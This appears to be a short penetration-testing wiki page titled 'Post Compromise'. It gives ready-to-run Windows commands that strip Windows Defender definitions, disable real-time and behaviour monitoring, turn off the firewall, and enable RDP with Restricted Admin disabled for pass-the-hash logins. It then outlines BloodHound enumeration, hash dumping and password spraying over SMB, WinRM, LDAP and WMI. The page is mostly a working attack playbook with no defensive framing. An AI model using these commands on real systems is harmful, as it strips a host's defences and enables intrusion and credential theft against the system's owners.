4. Post Compromise

1. Blast AV and enable RDP with hashes

```
cmd.exe /c "C:\\Program Files\\Windows Defender\\MpCmdRun.exe" -removedefinitions -all
REG ADD "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender" /v "DisableRealtimeMonitoring
" /t REG_DWORD /d 1 /f
REG ADD "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender" /v "DisableBehaviorMonitoring
" /t REG_DWORD /d 1 /f
NetSh Advfirewall set allprofiles state off
cmd.exe /c netsh firewall set opmode disable && reg add
"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server" /v
fDenyTSConnections /t REG_DWORD /d 0 /f && reg add
"HKLM\\System\\CurrentControlSet\\Control\\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 0 /f
```

1. Sharphound → Bloodhound
2. Dump all hashes and spray
    1. SMB
    2. winrm
    3. ldap
    4. wmi

Revision #1
Created 2026-01-08 18:51:06 UTC by Vlad Birgauanu
Updated 2026-01-08 18:51:19 UTC by Vlad Birgauanu